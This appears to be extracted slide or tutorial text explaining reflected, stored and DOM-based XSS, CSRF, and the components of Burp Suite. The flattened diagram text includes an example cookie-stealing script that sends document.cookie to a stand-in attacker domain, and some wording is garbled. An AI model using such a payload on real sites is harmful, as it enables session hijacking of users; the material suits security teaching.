When XSS code only gets displayed in the next page to the same user and not gets saved into persistent storage like database. This type of attack is less vulnerable , because Hacker can see only their own cookies and can make modifications in their own current opened pages. The risk with these kinds of XSS holes is that it opens way for Cross Site Request Forgery CSRF . CSRF allows a hacker to place some links
Bank Server http response with CSRF Link Bad Server 1 Normal User’s Browser <img src="http://bank.example/withdraw?account=bob<script>document.location=‘http://bad-domain.com/store_data?cookie=‘ + document.cookie;</script> Normal User’s Browser Bad Server 2 http response with XSS http request with cookies http request with XSS
In persistent type of XSS attack, XSS code gets saved into persistent storage like database with other data and then it is visible to other users also. One example of this kind of attacks is possible blog websites, where hacker can add their XSS code along with the comment text and if no validation or filtering is present on the server, XSS code can successfully saved into the database. After this if anyone (other users) open the page into their browsers, XSS code can execute and can perform a variety of harmful actions. This type of attack is more vulnerable, because Hacker can steal cookies and can make modifications in the page. The risk with these kinds of attacks is any third party hacker can use this vulnerability to perform some actions on behalf of other users.
DOM Based XSS (or type-0 XSS) is an XSS attack wherein the attack payload is executed as a result of modifying the DOM “environment” in the victim’s browser used by the original client side script, so that the client side code runs in an “unexpected” manner. That is, the page itself (the HTTP response that is) does not change, but the client side code contained in the page executes differently due to the malicious modifications that have occurred in the DOM environment.
This is in contrast to other XSS attacks (stored or reflected), wherein the attack payload is placed in the response page (due to a server side flaw).
var pos = document.URL.indexOf("name=")+5;
These applications provide the developer to test their web applications for various types of vulnerabilities . These applications allow navigating through the web sites or web applications and performing various types of attacks (manual or automated). Both free and commercial applications are available ( http://sectools.org/web-scanners.html )
Burp suite allows an attacker to combine manual and automated techniques to enumerate, analyze, attack and exploit web applications. The various burp tools work together effectively to share information and allow findings identified within one tool to form the basis of an attack using another.
Proxy - an intercepting HTTP/S proxy server which operates as a man-in-the-middle between the end browser and the target web application, allowing you to intercept, inspect and modify the raw traffic passing in both directions.
Spider - an intelligent application-aware web spider which allows complete enumeration of an application's content and functionality.
Scanner [Pro version only] - an advanced tool for performing automated discovery of security vulnerabilities in web applications.
Intruder - a highly configurable tool for automating customized attacks against web applications, such as enumerating identifiers, harvesting useful data, and fuzzing for common vulnerabilities.
Repeater - a tool for manually manipulating and re-issuing individual HTTP requests, and analyzing the application's responses.
Sequencer - a tool for analyzing the quality of randomness in an application's session tokens or other important data items which are intended to be unpredictable.
Decoder - a tool for performing manual or intelligent decoding and encoding of application data.
Comparer - a utility for performing a visual "diff" between any two items of data, normally pairs of related requests and responses.